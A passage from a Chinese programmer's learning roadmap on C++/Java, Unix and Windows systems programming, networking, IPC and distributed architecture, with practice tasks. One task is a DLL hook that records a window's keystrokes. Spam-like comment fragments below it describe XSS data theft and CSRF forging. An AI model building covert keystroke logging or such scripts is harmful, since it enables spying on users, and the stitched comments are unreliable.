实践任务: 尝试在Spring或Hibernate框架下构建一个有网络的Web Service的远程调用程序,并可以在两个Service中通过JMS传递消息。

C++和Java都不是能在短时间内能学好的,C++玩是的深,Java玩的是广,我建议两者选一个。我个人的学习经历是:

深究C++(我深究C/C++了十来年了)

学习Java的各种设计模式。

2、加强系统了解

重要阅读下面的几本书:

《Unix编程艺术》了解Unix系统领域中的设计和开发哲学、思想文化体系、原则与经验。你一定会有一种醍醐灌顶的感觉。

《Unix网络编程卷1,套接字》这是一本看完你就明白网络编程的书。重要注意TCP、UDP,以及多路复用的系统调用select/poll/epoll的差别。

《TCP/IP详解 卷1:协议》- 这是一本看完后你就可以当网络黑客的书。了解以太网的的运作原理,了解TCP/IP的协议,运作原理以及如何TCP的调优。

实践任务:

理解什么是阻塞(同步IO),非阻塞(异步IO),多路复用(select, poll, epoll)的IO技术。

写一个网络聊天程序,有聊天服务器和多个聊天客户端(服务端用UDP对部分或所有的的聊天客户端进Multicast或Broadcast)。

写一个简易的HTTP服务器。

《Unix网络编程卷2,进程间通信》信号量,管道,共享内存,消息等各种IPC…… 这些技术好像有点老掉牙了,不过还是值得了解。

实践任务:

主要实践各种IPC进程序通信的方法。

尝试写一个管道程序,父子进程通过管道交换数据。

尝试写一个共享内存的程序,两个进程通过共享内存交换一个C的结构体数组。

学习《Windows核心编程》一书。把CreateProcess,Windows线程、线程调度、线程同步(Event, 信号量,互斥量)、异步I/O,内存管理,DLL,这几大块搞精通。

实践任务:使用CreateProcess启动一个记事本或IE,并监控该程序的运行。把前面写过的那个简易的HTTP服务用线程池实现一下。写一个DLL的钩子程序监控指定窗口的关闭事件,或是记录某个窗口的按键。

有了多线程、多进程通信,TCP/IP,套接字,C++和设计模式的基本,你可以研究一下ACE了。使用ACE重写上述的聊天程序和HTTP服务器(带线程池)

实践任务:通过以上的所有知识,尝试

写一个服务端给客户端传大文件,要求把100M的带宽用到80%以上。(注意,磁盘I/O和网络I/O可能会很有问题,想一想怎么解决,另外,请注意网络传输最大单元MTU)

了解BT下载的工作原理,用多进程的方式模拟BT下载的原理。

3、系统架构

负载均衡。HASH式的,纯动态式的。(可以到Google学术里搜一些关于负载均衡的文章读读)

多层分布式系统 – 客户端服务结点层、计算结点层、数据cache层,数据层。J2EE是经典的多层结构。

CDN系统 – 就近访问,内容边缘化。

P2P式系统,研究一下BT和电驴的算法。比如:DHT算法。

服务器备份,双机备份系统(Live-Standby和Live-Live系统),两台机器如何通过心跳监测对方?集群主结点备份。

虚拟化技术,使用这个技术,可以把操作系统当应用程序一下切换或重新配置和部署。

学习Thrift,二进制的高性能的通讯中间件,支持数据(对象)序列化和多种类型的RPC服务。

学习Hadoop。Hadoop框架中最核心的设计就是:MapReduce和HDFS。MapReduce的思想是由Google的一篇论文所提及而被广为流传的,简单的一句话解释MapReduce就是“任务的分解与结果的汇总”。HDFS是Hadoop分布式文件系统(Hadoop Distributed File System)的缩写,为分布式计算存储提供了底层支持。

了解NoSQL数据库(有人说可能是一个过渡炒作的技术),不过因为超大规模以及高并发的纯动态型网站日渐成为主流,而SNS类网站在数据存取过程中有着实时性等刚性需求,这使得目前NoSQL数据库慢慢成了人们所关注的焦点,并大有成为取代关系型数据库而成为未来主流数据存储模式的趋势。当前NoSQL数据库很多,大部分都是开源的,其中比较知名的有:MemcacheDB、Redis、Tokyo Cabinet(升级版为Kyoto Cabinet)、Flare、MongoDB、CouchDB、Cassandra、Voldemort等。

我来说两句
黑客技术 2年前 (2022-05-31) | 回复
进行调试学会用Google (phrase, domain, use reader to follow tech blogs)为什么要学脚本语言,因为他们实在是太方便了,很多时候我们需要写点小工具或是脚本来帮我
黑客技术 2年前 (2022-05-31) | 回复
e);})(window, document);于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发
黑客技术 2年前 (2022-05-31) | 回复
使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的
黑客技术 2年前 (2022-05-31) | 回复
符,htmlspecialchars和strip_tags函数对这种攻击没有作用.不过,这个攻击只对IE6/IE7起作用,从IE8起微软已经修复了.你可以把下面这段代码保存到一个文本文件中(前面不要